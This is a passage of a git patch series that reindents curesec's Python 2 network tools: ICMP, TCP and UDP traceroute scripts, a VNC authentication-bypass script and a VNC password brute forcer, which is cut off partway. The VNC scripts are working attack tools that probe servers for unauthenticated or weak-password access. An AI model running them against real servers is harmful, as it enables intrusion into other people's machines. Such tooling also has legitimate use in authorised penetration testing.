gmbh, ping@curesec.com import array import random @@ -10,172 +10,172 @@ def main(): - if len(sys.argv) < 2: - usage() - sys.exit(1) + if len(sys.argv) < 2: + usage() + sys.exit(1) - target = sys.argv[1] - n = False - timeout = 3 - maxhops = 30 + target = sys.argv[1] + n = False + timeout = 3 + maxhops = 30 - if len(sys.argv) >= 3: - if sys.argv[2].lower() == "true": - n = True - if len(sys.argv) >= 4: - timeout = int(sys.argv[3]) - if len(sys.argv) >= 5: - maxhops = int(sys.argv[4]) + if len(sys.argv) >= 3: + if sys.argv[2].lower() == "true": + n = True + if len(sys.argv) >= 4: + timeout = int(sys.argv[3]) + if len(sys.argv) >= 5: + maxhops = int(sys.argv[4]) - icmptraceroute(target, n, timeout, maxhops) + icmptraceroute(target, n, timeout, maxhops) def usage(): - print "usage: %s target [n [timeout [maxhops]]]" % sys.argv[0] - print "default:\tn: False" - print "\t\ttimeout: 3" - print "\t\tmaxhops: 30" - print "examples:\t%s google.com" % sys.argv[0] - print "\t\t%s 8.8.8.8 True 5 20" % sys.argv[0] - - + print "usage: %s target [n [timeout [maxhops]]]" % sys.argv[0] + print "default:\tn: False" + print "\t\ttimeout: 3" + print "\t\tmaxhops: 30" + print "examples:\t%s google.com" % sys.argv[0] + print "\t\t%s 8.8.8.8 True 5 20" % sys.argv[0] # http://stackoverflow.com/questions/1767910/checksum-udp-calculation-python -if struct.pack("H",1) == "\x00\x01": # big endian - def checksum(pkt): - if len(pkt) % 2 == 1: - pkt += "\0" - s = sum(array.array("H", pkt)) - s = (s >> 16) + (s & 0xffff) - s += s >> 16 - s = ~s - return s & 0xffff +if struct.pack("H", 1) == "\x00\x01": # big endian + def checksum(pkt): + if len(pkt) % 2 == 1: + pkt += "\0" + s = sum(array.array("H", pkt)) + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + s = ~s + return s & 0xffff else: - def checksum(pkt): - if len(pkt) % 2 == 1: - pkt += "\0" - s = sum(array.array("H", pkt)) - s = (s >> 16) + (s & 0xffff) - s += s >> 16 - s = ~s - return (((s>>8)&0xff)|s<<8) & 0xffff - + def checksum(pkt): + if len(pkt) % 2 == 1: + pkt += "\0" + s = sum(array.array("H", pkt)) + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + s = ~s + return (((s >> 8) & 0xff) | s << 8) & 0xffff def icmptraceroute(target, n, timeout, maxhops): - # ICMP identifier is two bytes long, make it random - IDENTIFIER = random.randint(0, 65535) - - try: - ip_target = socket.gethostbyname(target) - except socket.error as e: - print "Socket error: %s" % e - sys.exit(1) - - print "traceroute (%s) to %s (%s), %d hops max" % ("ICMP", target, ip_target, maxhops) - - for ttl in range(1, maxhops): - # s1 is the sender, s2 is the receiver - s1 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) - s1.settimeout(timeout) - - s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - s2.settimeout(timeout) - s2.bind(("0.0.0.0", 0)) - - icmp_type = 8 - icmp_code = 0 - icmp_checksum = 0 - icmp_identifier = IDENTIFIER - # use ttl as sequence number as it is unique for every packet sent - icmp_sequence = ttl - - icmp_header = struct.pack("!BBHHH", icmp_type, icmp_code, icmp_checksum, icmp_identifier, icmp_sequence) - icmp_checksum = checksum(icmp_header) - icmp_header = struct.pack("!BBHHH", icmp_type, icmp_code, icmp_checksum, icmp_identifier, icmp_sequence) - - try: - s1.connect((ip_target, 0)) - s1.send(icmp_header) - except socket.error as e: - # can that even happen? - print "Socket error: %s" % e - s1.close() - s2.close() - sys.exit(1) - - # count unexpectedly received ICMP packets - # break when more than 10 are received without receiving an ICMP echo reply or an ICMP TTL exceeded - i = 0 - ip_hop = "" - while True: - try: - data, addr = s2.recvfrom(1024) - ip_hop = addr[0] - except socket.error as e: - # probably a timeout which is not unlikely to happen - output(ttl) - break - - # debug - #print "Packet from %r: %r" % (addr,data) - - ip_header = data[0:20] - ip_version_length = struct.unpack("!B", ip_header[0:1])[0] - ip_version = ip_version_length >> 4 - ip_length = ip_version_length & 0xF - ip_length = ip_length * 4 - - # if not IPv4 - if ip_version != 4: - continue - - icmp_header = data[ip_length:] - # just to be sure, icmp header should not be longer than 8 bytes - icmp_header = icmp_header[0:8] - - icmp_headers = struct.unpack("!BBHHH", icmp_header) - icmp_type = icmp_headers[0] - icmp_code = icmp_headers[1] - icmp_checksum = icmp_headers[2] - icmp_identifier = icmp_headers[3] - icmp_sequence = icmp_headers[4] - - if (icmp_type == 0 and icmp_code == 0 and icmp_identifier == IDENTIFIER and icmp_sequence == ttl) or (icmp_type == 11 and icmp_code == 0): - output(ttl, ip_hop, n) - break - else: - # received some other ICMP packet - i = i + 1 - if i >= 10: - output(ttl) - break - - s1.close() - s2.close() - if ip_target == ip_hop: - break - - -def output(ttl, ip = "", n = False): - if ip: - if n: - reversename = getreversename(ip) - else: - reversename = ip - print "%d: %s (%s)" % (ttl, reversename, ip) - else: - print "%d: ***" % (ttl) + # ICMP identifier is two bytes long, make it random + IDENTIFIER = random.randint(0, 65535) + + try: + ip_target = socket.gethostbyname(target) + except socket.error as e: + print "Socket error: %s" % e + sys.exit(1) + + print "traceroute (%s) to %s (%s), %d hops max" % ("ICMP", target, ip_target, maxhops) + + for ttl in range(1, maxhops): + # s1 is the sender, s2 is the receiver + s1 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) + s1.settimeout(timeout) + + s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + s2.settimeout(timeout) + s2.bind(("0.0.0.0", 0)) + + icmp_type = 8 + icmp_code = 0 + icmp_checksum = 0 + icmp_identifier = IDENTIFIER + # use ttl as sequence number as it is unique for every packet sent + icmp_sequence = ttl + + icmp_header = struct.pack("!BBHHH", icmp_type, icmp_code, icmp_checksum, icmp_identifier, icmp_sequence) + icmp_checksum = checksum(icmp_header) + icmp_header = struct.pack("!BBHHH", icmp_type, icmp_code, icmp_checksum, icmp_identifier, icmp_sequence) + + try: + s1.connect((ip_target, 0)) + s1.send(icmp_header) + except socket.error as e: + # can that even happen? + print "Socket error: %s" % e + s1.close() + s2.close() + sys.exit(1) + + # count unexpectedly received ICMP packets + # break when more than 10 are received without receiving an ICMP echo reply or an ICMP TTL exceeded + i = 0 + ip_hop = "" + while True: + try: + data, addr = s2.recvfrom(1024) + ip_hop = addr[0] + except socket.error as e: + # probably a timeout which is not unlikely to happen + output(ttl) + break + + # debug + # print "Packet from %r: %r" % (addr,data) + + ip_header = data[0:20] + ip_version_length = struct.unpack("!B", ip_header[0:1])[0] + ip_version = ip_version_length >> 4 + ip_length = ip_version_length & 0xF + ip_length = ip_length * 4 + + # if not IPv4 + if ip_version != 4: + continue + + icmp_header = data[ip_length:] + # just to be sure, icmp header should not be longer than 8 bytes + icmp_header = icmp_header[0:8] + + icmp_headers = struct.unpack("!BBHHH", icmp_header) + icmp_type = icmp_headers[0] + icmp_code = icmp_headers[1] + icmp_checksum = icmp_headers[2] + icmp_identifier = icmp_headers[3] + icmp_sequence = icmp_headers[4] + + if (icmp_type == 0 and icmp_code == 0 and icmp_identifier == IDENTIFIER and icmp_sequence == ttl) or ( + icmp_type == 11 and icmp_code == 0): + output(ttl, ip_hop, n) + break + else: + # received some other ICMP packet + i = i + 1 + if i >= 10: + output(ttl) + break + + s1.close() + s2.close() + if ip_target == ip_hop: + break + + +def output(ttl, ip="", n=False): + if ip: + if n: + reversename = getreversename(ip) + else: + reversename = ip + print "%d: %s (%s)" % (ttl, reversename, ip) + else: + print "%d: ***" % (ttl) + def getreversename(ip): - try: - name, alias, addresslist = socket.gethostbyaddr(ip) - return name - except: - return ip + try: + name, alias, addresslist = socket.gethostbyaddr(ip) + return name + except: + return ip + if __name__ == "__main__": - main() + main() From 6bb61ef09b1f9c4af1e1ca97851184057baf90a8 Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:50:26 +0530 Subject: [PATCH 10/12] Add files via upload --- traceroute/tcp/tcptraceroute.py | 191 ++++++++++++++++---------------- 1 file changed, 95 insertions(+), 96 deletions(-) diff --git a/traceroute/tcp/tcptraceroute.py b/traceroute/tcp/tcptraceroute.py index 4c8ef9d..1ad76ec 100755 --- a/traceroute/tcp/tcptraceroute.py +++ b/traceroute/tcp/tcptraceroute.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com import argparse @@ -10,112 +10,111 @@ def main(): - if len(sys.argv) < 2: - usage() - sys.exit(1) + if len(sys.argv) < 2: + usage() + sys.exit(1) - target = sys.argv[1] - port = 80 - n = False - timeout = 3 - maxhops = 30 + target = sys.argv[1] + port = 80 + n = False + timeout = 3 + maxhops = 30 - if len(sys.argv) >= 3: - port = int(sys.argv[2]) - if len(sys.argv) >= 4: - if sys.argv[3].lower() == "true": - n = True - if len(sys.argv) >= 5: - timeout = int(sys.argv[4]) - if len(sys.argv) >= 6: - maxhops = int(sys.argv[5]) + if len(sys.argv) >= 3: + port = int(sys.argv[2]) + if len(sys.argv) >= 4: + if sys.argv[3].lower() == "true": + n = True + if len(sys.argv) >= 5: + timeout = int(sys.argv[4]) + if len(sys.argv) >= 6: + maxhops = int(sys.argv[5]) - tcptraceroute(target, port, n, timeout, maxhops) + tcptraceroute(target, port, n, timeout, maxhops) def usage(): - print "usage: %s target [port [n [timeout [maxhops]]]]" % sys.argv[0] - print "default:\tport: 80" - print "\t\tn: False" - print "\t\ttimeout: 3" - print "\t\tmaxhops: 30" - print "examples:\t%s google.com" % sys.argv[0] - print "\t\t%s 8.8.8.8 80 True 5 20" % sys.argv[0] - + print "usage: %s target [port [n [timeout [maxhops]]]]" % sys.argv[0] + print "default:\tport: 80" + print "\t\tn: False" + print "\t\ttimeout: 3" + print "\t\tmaxhops: 30" + print "examples:\t%s google.com" % sys.argv[0] + print "\t\t%s 8.8.8.8 80 True 5 20" % sys.argv[0] def tcptraceroute(target, port, n, timeout, maxhops): - try: - ip_target = socket.gethostbyname(target) - except socket.error as e: - print "Socket error: %s" % e - sys.exit(1) - - print "traceroute (%s) to %s (%s), port %d, %d hops max" % ("TCP", target, ip_target, port, maxhops) - - for ttl in range(1, maxhops): - # s1 is the sender, s2 is the receiver - s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) - s1.settimeout(timeout) - - s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - s2.settimeout(timeout) - s2.bind(("0.0.0.0", port)) - - try: - # connect is enough; don't need to send anything - s1.connect((ip_target, port)) - except socket.timeout as e: - output(ttl) - continue - except socket.error as e: - if e.errno == socket.errno.ECONNREFUSED: - # Connection refused, which means target was reached - output(ttl, ip_target, n, "closed") - break - - # retrieve "Destination unreabable" packet - try: - data, addr = s2.recvfrom(1024) - ip_hop = addr[0] - except socket.error as e: - # received nothing - ip_hop = "" - if ip_hop: - output(ttl, ip_hop, n) - else: - output(ttl) - continue - finally: - s1.close() - s2.close() - - output(ttl, ip_target, n, "open") - break - - - -def output(ttl, ip = "", n = False, status = ""): - if ip: - if n: - reversename = getreversename(ip) - else: - reversename = ip - if status: - print "%d: %s (%s) [%s]" % (ttl, reversename, ip, status) - else: - print "%d: %s (%s)" % (ttl, reversename, ip) - else: - print "%d: ***" % (ttl) + try: + ip_target = socket.gethostbyname(target) + except socket.error as e: + print "Socket error: %s" % e + sys.exit(1) + + print "traceroute (%s) to %s (%s), port %d, %d hops max" % ("TCP", target, ip_target, port, maxhops) + + for ttl in range(1, maxhops): + # s1 is the sender, s2 is the receiver + s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) + s1.settimeout(timeout) + + s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + s2.settimeout(timeout) + s2.bind(("0.0.0.0", port)) + + try: + # connect is enough; don't need to send anything + s1.connect((ip_target, port)) + except socket.timeout as e: + output(ttl) + continue + except socket.error as e: + if e.errno == socket.errno.ECONNREFUSED: + # Connection refused, which means target was reached + output(ttl, ip_target, n, "closed") + break + + # retrieve "Destination unreabable" packet + try: + data, addr = s2.recvfrom(1024) + ip_hop = addr[0] + except socket.error as e: + # received nothing + ip_hop = "" + if ip_hop: + output(ttl, ip_hop, n) + else: + output(ttl) + continue + finally: + s1.close() + s2.close() + + output(ttl, ip_target, n, "open") + break + + +def output(ttl, ip="", n=False, status=""): + if ip: + if n: + reversename = getreversename(ip) + else: + reversename = ip + if status: + print "%d: %s (%s) [%s]" % (ttl, reversename, ip, status) + else: + print "%d: %s (%s)" % (ttl, reversename, ip) + else: + print "%d: ***" % (ttl) def getreversename(ip): - try: - name, alias, addresslist = socket.gethostbyaddr(ip) - return name - except: - return ip + try: + name, alias, addresslist = socket.gethostbyaddr(ip) + return name + except: + return ip + if __name__ == "__main__": - main() + main() From 02277b5cf7ab2f2a3a27774fa64b76df0204063b Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:50:49 +0530 Subject: [PATCH 11/12] Add files via upload --- traceroute/udp/udptraceroute.py | 177 ++++++++++++++++---------------- 1 file changed, 89 insertions(+), 88 deletions(-) diff --git a/traceroute/udp/udptraceroute.py b/traceroute/udp/udptraceroute.py index 88a48e8..6971a53 100755 --- a/traceroute/udp/udptraceroute.py +++ b/traceroute/udp/udptraceroute.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com import sys @@ -9,104 +9,105 @@ def main(): - if len(sys.argv) < 2: - usage() - sys.exit(1) + if len(sys.argv) < 2: + usage() + sys.exit(1) - target = sys.argv[1] - port = 33445 - n = False - timeout = 3 - maxhops = 30 + target = sys.argv[1] + port = 33445 + n = False + timeout = 3 + maxhops = 30 - if len(sys.argv) >= 3: - port = int(sys.argv[2]) - if len(sys.argv) >= 4: - if sys.argv[3].lower() == "true": - n = True - if len(sys.argv) >= 5: - timeout = int(sys.argv[4]) - if len(sys.argv) >= 6: - maxhops = int(sys.argv[5]) + if len(sys.argv) >= 3: + port = int(sys.argv[2]) + if len(sys.argv) >= 4: + if sys.argv[3].lower() == "true": + n = True + if len(sys.argv) >= 5: + timeout = int(sys.argv[4]) + if len(sys.argv) >= 6: + maxhops = int(sys.argv[5]) - udptraceroute(target, port, n, timeout, maxhops) + udptraceroute(target, port, n, timeout, maxhops) def usage(): - print "usage: %s target [port [n [timeout [maxhops]]]]" % sys.argv[0] - print "default:\tport: 33445" - print "\t\tn: False" - print "\t\ttimeout: 3" - print "\t\tmaxhops: 30" - print "examples:\t%s google.com" % sys.argv[0] - print "\t\t%s 8.8.8.8 33445 True 5 20" % sys.argv[0] + print "usage: %s target [port [n [timeout [maxhops]]]]" % sys.argv[0] + print "default:\tport: 33445" + print "\t\tn: False" + print "\t\ttimeout: 3" + print "\t\tmaxhops: 30" + print "examples:\t%s google.com" % sys.argv[0] + print "\t\t%s 8.8.8.8 33445 True 5 20" % sys.argv[0] def udptraceroute(target, port, n, timeout, maxhops): - try: - ip_target = socket.gethostbyname(target) - except socket.error as e: - print "Socket error: %s" % e - sys.exit(1) - - print "traceroute (%s) to %s (%s), port %d, %d hops max" % ("UDP", target, ip_target, port, maxhops) - - for ttl in range(1, maxhops): - # s1 is the sender, s2 is the receiver - s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) - s1.settimeout(timeout) - - s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) - s2.settimeout(timeout) - s2.bind(("0.0.0.0", port)) - - try: - s1.connect((ip_target, port)) - # send anything - s1.send("1234567890") - except socket.error as e: - print "Socket error: %s" % e - sys.exit(1) - finally: - s1.close() - - # retrieve "Destination unreabable" packet - try: - data, addr = s2.recvfrom(1024) - ip_hop = addr[0] - except socket.error as e: - # probably a timeout which is not unlikely to happen - ip_hop = "" - finally: - s2.close() - - if ip_hop: - output(ttl, ip_hop, n) - else: - output(ttl) - - if ip_target == ip_hop: - break - - -def output(ttl, ip = "", n = False): - if ip: - if n: - reversename = getreversename(ip) - else: - reversename = ip - print "%d: %s (%s)" % (ttl, reversename, ip) - else: - print "%d: ***" % (ttl) + try: + ip_target = socket.gethostbyname(target) + except socket.error as e: + print "Socket error: %s" % e + sys.exit(1) + + print "traceroute (%s) to %s (%s), port %d, %d hops max" % ("UDP", target, ip_target, port, maxhops) + + for ttl in range(1, maxhops): + # s1 is the sender, s2 is the receiver + s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s1.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, struct.pack('I', ttl)) + s1.settimeout(timeout) + + s2 = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + s2.settimeout(timeout) + s2.bind(("0.0.0.0", port)) + + try: + s1.connect((ip_target, port)) + # send anything + s1.send("1234567890") + except socket.error as e: + print "Socket error: %s" % e + sys.exit(1) + finally: + s1.close() + + # retrieve "Destination unreabable" packet + try: + data, addr = s2.recvfrom(1024) + ip_hop = addr[0] + except socket.error as e: + # probably a timeout which is not unlikely to happen + ip_hop = "" + finally: + s2.close() + + if ip_hop: + output(ttl, ip_hop, n) + else: + output(ttl) + + if ip_target == ip_hop: + break + + +def output(ttl, ip="", n=False): + if ip: + if n: + reversename = getreversename(ip) + else: + reversename = ip + print "%d: %s (%s)" % (ttl, reversename, ip) + else: + print "%d: ***" % (ttl) def getreversename(ip): - try: - name, alias, addresslist = socket.gethostbyaddr(ip) - return name - except: - return ip + try: + name, alias, addresslist = socket.gethostbyaddr(ip) + return name + except: + return ip + if __name__ == "__main__": - main() + main() From d1e76752f89086541393f82943c961ac249abd20 Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:51:19 +0530 Subject: [PATCH 12/12] Add files via upload --- vnc/vnc-authentication-bypass.py | 298 +++++++++---------- vnc/vnc-brute-forcer.py | 491 +++++++++++++++---------------- 2 files changed, 386 insertions(+), 403 deletions(-) diff --git a/vnc/vnc-authentication-bypass.py b/vnc/vnc-authentication-bypass.py index 377ab9b..565d8ab 100755 --- a/vnc/vnc-authentication-bypass.py +++ b/vnc/vnc-authentication-bypass.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com # tested with RFB 003.008 @@ -19,159 +19,153 @@ # status 4 = bad connection # status 5 = too many failures def test_vnc_authentication_bypass(server, port, timeout, verbose): - try: - ip = socket.gethostbyname(server) - except socket.error as e: - print "%s" % e - return 4 - - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(timeout) - s.connect((ip, port)) - except socket.error as e: - print "Cannot connect to %s:%d" % (ip, port) - print "%s" % e - return 4 - print "Connected to %s:%d" % (server, port) - - # 11111 - # first, the server sends its RFB version, 12 bytes - # more than 12 bytes if too many failures - try: - data = s.recv(1024) - except socket.error as e: - print "%s" % e - return 4 - if verbose: - print "Received [%d] version:\n%r" % (len(data), data) - if len(data) > 12: - return 5 - if not data.startswith("RFB 003.00"): - return 3 - - - - # 22222 - # now, the client sends the RFB version 3.8, 12 bytes - # RFB version 3.3 does not let the client choose the security type - m = "RFB 003.008\n" - if verbose: - print "Sending [%d] version:\n%r" % (len(m), m) - try: - s.send(m) - except socket.error as e: - print "%s\n" % e - return 4 - - - - # 33333 - # now, the server sends the security types - try: - data = s.recv(1024) - except socket.error as e: - print "%s" % e - return 4 - if verbose: - print "Received [%d] security types:\n%r" % (len(data), data) - - number_of_security_types = struct.unpack("!B", data[0])[0] - if verbose: - print "Number of security types: %d" % number_of_security_types - if number_of_security_types == 0: - # no security types supported - # something went wrong - # perhaps server does not support RFB 3.8 - return 3 - # checking whether Null authentication available - # if so, no need for exploit - for i in range(1, number_of_security_types + 1): - if i >= len(data): - # should not happen, but don't want to cause an exception - break - security_type = struct.unpack("!B", data[i])[0] - # security type 1 = None - # security type 2 = VNC - # security type 16 = Tight - # security type 18 = TLS - # security type 19 = VeNCrypt - # plus some more - if security_type == 1: - return 0 - - - # 44444 - # now, the client selects the None (1) security type, 1 byte - m = struct.pack("!B", 1) - if verbose: - print "Sending [%d] security type:\n%r" % (len(m), m) - try: - s.send(m) - except socket.error as e: - print "%s\n" % e - return 4 - - - # 77777 - # now, the server sends an ok or fail - # if not vulnerable, server might quit connection and not send anything - # 0 == OK, 1 == failed - try: - data = s.recv(4) - except socket.error as e: - print "%s" % e - return 4 - if verbose: - print "Received [%d] security result:\n%r" % (len(data), data) - if len(data) < 4: - return 3 - result = struct.unpack("!I", data)[0] - if result == 0: - # good password - return 1 - elif result == 1: - # bad password - return 2 - else: - # protocol error - return 3 - + try: + ip = socket.gethostbyname(server) + except socket.error as e: + print "%s" % e + return 4 + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, port)) + except socket.error as e: + print "Cannot connect to %s:%d" % (ip, port) + print "%s" % e + return 4 + print "Connected to %s:%d" % (server, port) + + # 11111 + # first, the server sends its RFB version, 12 bytes + # more than 12 bytes if too many failures + try: + data = s.recv(1024) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] version:\n%r" % (len(data), data) + if len(data) > 12: + return 5 + if not data.startswith("RFB 003.00"): + return 3 + + # 22222 + # now, the client sends the RFB version 3.8, 12 bytes + # RFB version 3.3 does not let the client choose the security type + m = "RFB 003.008\n" + if verbose: + print "Sending [%d] version:\n%r" % (len(m), m) + try: + s.send(m) + except socket.error as e: + print "%s\n" % e + return 4 + + # 33333 + # now, the server sends the security types + try: + data = s.recv(1024) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] security types:\n%r" % (len(data), data) + + number_of_security_types = struct.unpack("!B", data[0])[0] + if verbose: + print "Number of security types: %d" % number_of_security_types + if number_of_security_types == 0: + # no security types supported + # something went wrong + # perhaps server does not support RFB 3.8 + return 3 + # checking whether Null authentication available + # if so, no need for exploit + for i in range(1, number_of_security_types + 1): + if i >= len(data): + # should not happen, but don't want to cause an exception + break + security_type = struct.unpack("!B", data[i])[0] + # security type 1 = None + # security type 2 = VNC + # security type 16 = Tight + # security type 18 = TLS + # security type 19 = VeNCrypt + # plus some more + if security_type == 1: + return 0 + + # 44444 + # now, the client selects the None (1) security type, 1 byte + m = struct.pack("!B", 1) + if verbose: + print "Sending [%d] security type:\n%r" % (len(m), m) + try: + s.send(m) + except socket.error as e: + print "%s\n" % e + return 4 + + # 77777 + # now, the server sends an ok or fail + # if not vulnerable, server might quit connection and not send anything + # 0 == OK, 1 == failed + try: + data = s.recv(4) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] security result:\n%r" % (len(data), data) + if len(data) < 4: + return 3 + result = struct.unpack("!I", data)[0] + if result == 0: + # good password + return 1 + elif result == 1: + # bad password + return 2 + else: + # protocol error + return 3 def usage(): - print "usage: %s SERVER PORT [TIMEOUT [VERBOSE]]" % sys.argv[0] - print "typical VNC ports are 5900, 5901, 5902..." + print "usage: %s SERVER PORT [TIMEOUT [VERBOSE]]" % sys.argv[0] + print "typical VNC ports are 5900, 5901, 5902..." + if __name__ == '__main__': - if len(sys.argv) < 3: - usage() - else: - server = sys.argv[1] - port = int(sys.argv[2]) - timeout = 5 - if len(sys.argv) >= 4: - timeout = int(sys.argv[3]) - verbose = False - if len(sys.argv) >= 5 and sys.argv[4].lower() == "true": - verbose = True - - # status 0 = success (no authentication) - # status 1 = success (good password) - # status 2 = bad password - # status 3 = bad configuration (wrong version, wrong security type) - # status 4 = bad connection - # status 5 = too many failures - status = test_vnc_authentication_bypass(server, port, timeout, verbose) - if status == 0: - print "\"None\" authentication method detected" - elif status == 1: - print "Authentication bypass successful" - elif status == 2: - print "Authentication bypass failed" - elif status == 3: - print "Protocol error" - elif status == 4: - print "Network error" - elif status == 5: - print "Too many failures" + if len(sys.argv) < 3: + usage() + else: + server = sys.argv[1] + port = int(sys.argv[2]) + timeout = 5 + if len(sys.argv) >= 4: + timeout = int(sys.argv[3]) + verbose = False + if len(sys.argv) >= 5 and sys.argv[4].lower() == "true": + verbose = True + + # status 0 = success (no authentication) + # status 1 = success (good password) + # status 2 = bad password + # status 3 = bad configuration (wrong version, wrong security type) + # status 4 = bad connection + # status 5 = too many failures + status = test_vnc_authentication_bypass(server, port, timeout, verbose) + if status == 0: + print "\"None\" authentication method detected" + elif status == 1: + print "Authentication bypass successful" + elif status == 2: + print "Authentication bypass failed" + elif status == 3: + print "Protocol error" + elif status == 4: + print "Network error" + elif status == 5: + print "Too many failures" diff --git a/vnc/vnc-brute-forcer.py b/vnc/vnc-brute-forcer.py index 7e25162..369707e 100755 --- a/vnc/vnc-brute-forcer.py +++ b/vnc/vnc-brute-forcer.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com # tested with RFB 003.008 # http://www.realvnc.com/docs/rfbproto.pdf @@ -17,276 +17,265 @@ # status 4 = bad connection # status 5 = too many failures def testvnc(server, port, password, timeout, verbose): - try: - ip = socket.gethostbyname(server) - except socket.error as e: - print "%s" % e - return 4 - - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(timeout) - s.connect((ip, port)) - except socket.error as e: - print "Cannot connect to %s:%d" % (ip, port) - print "%s" % e - return 4 - print "Connected to %s:%d" % (server, port) - - - # 11111 - # first, the server sends its RFB version, 12 bytes - # more than 12 bytes if too many failures - try: - data = s.recv(1024) - except socket.error as e: - print "%s" % e - return 4 + try: + ip = socket.gethostbyname(server) + except socket.error as e: + print "%s" % e + return 4 + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, port)) + except socket.error as e: + print "Cannot connect to %s:%d" % (ip, port) + print "%s" % e + return 4 + print "Connected to %s:%d" % (server, port) + + # 11111 + # first, the server sends its RFB version, 12 bytes + # more than 12 bytes if too many failures + try: + data = s.recv(1024) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] version:\n%r" % (len(data), data) + if len(data) > 12: + return 5 + if data == "RFB 003.003\n": + version = 3 + elif data == "RFB 003.007\n": + version = 7 + elif data == "RFB 003.008\n": + version = 8 + else: + return 3 + print "RFB Version: 3.%d" % version + + # 22222 + # now, the client sends its RFB version, 12 bytes + m = data + if verbose: + print "Sending [%d] version:\n%r" % (len(m), m) + try: + s.send(m) + except socket.error as e: + print "%s\n" % e + return 4 + + # 33333 + # now, the server sends the security type[s] + # in version 3, the server decides the security type, 4 bytes + # in version 3 using RealVNC, the server sends authentication type and challenge in one message, thus recv(4) + # in version 7/8, the server sends a list of supported security types: number of security types of 1 byte followed by a list of security types of 1 byte each + try: + if version == 3: + data = s.recv(4) + else: + data = s.recv(1024) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] security type[s]:\n%r" % (len(data), data) + + if version == 3: + security_type = struct.unpack("!I", data)[0] + # security type 0 == Invalid + # security type 1 == None + # security type 2 == VNC + if security_type == 1: + return 0 + elif security_type != 2: + return 3 + else: + number_of_security_types = struct.unpack("!B", data[0])[0] if verbose: - print "Received [%d] version:\n%r" % (len(data), data) - if len(data) > 12: - return 5 - if data == "RFB 003.003\n": - version = 3 - elif data == "RFB 003.007\n": - version = 7 - elif data == "RFB 003.008\n": - version = 8 - else: - return 3 - print "RFB Version: 3.%d" % version - - - - # 22222 - # now, the client sends its RFB version, 12 bytes - m = data - if verbose: - print "Sending [%d] version:\n%r" % (len(m), m) - try: - s.send(m) - except socket.error as e: - print "%s\n" % e - return 4 - - - - # 33333 - # now, the server sends the security type[s] - # in version 3, the server decides the security type, 4 bytes - # in version 3 using RealVNC, the server sends authentication type and challenge in one message, thus recv(4) - # in version 7/8, the server sends a list of supported security types: number of security types of 1 byte followed by a list of security types of 1 byte each - try: - if version == 3: - data = s.recv(4) - else: - data = s.recv(1024) - except socket.error as e: - print "%s" % e - return 4 + print "Number of security types: %d" % number_of_security_types + if number_of_security_types == 0: + # no security types supported + return 3 + vnc_enabled = False + for i in range(1, number_of_security_types + 1): + if i >= len(data): + # should not happen, but don't want to cause an exception + break + security_type = struct.unpack("!B", data[i])[0] + # security type 1 = None + # security type 2 = VNC + # security type 16 = Tight + # security type 18 = VNC + # security type 19 = VeNCrypt + # plus some more + if security_type == 1: + return 0 + elif security_type == 2: + vnc_enabled = True + if not vnc_enabled: + print "VNC security type not supported" + return 3 + + # 44444 + # now, the client selects the VNC (2) security type, 1 byte + m = struct.pack("!B", 2) if verbose: - print "Received [%d] security type[s]:\n%r" % (len(data), data) - - if version == 3: - security_type = struct.unpack("!I", data)[0] - # security type 0 == Invalid - # security type 1 == None - # security type 2 == VNC - if security_type == 1: - return 0 - elif security_type != 2: - return 3 - else: - number_of_security_types = struct.unpack("!B", data[0])[0] - if verbose: - print "Number of security types: %d" % number_of_security_types - if number_of_security_types == 0: - # no security types supported - return 3 - vnc_enabled = False - for i in range(1, number_of_security_types + 1): - if i >= len(data): - # should not happen, but don't want to cause an exception - break - security_type = 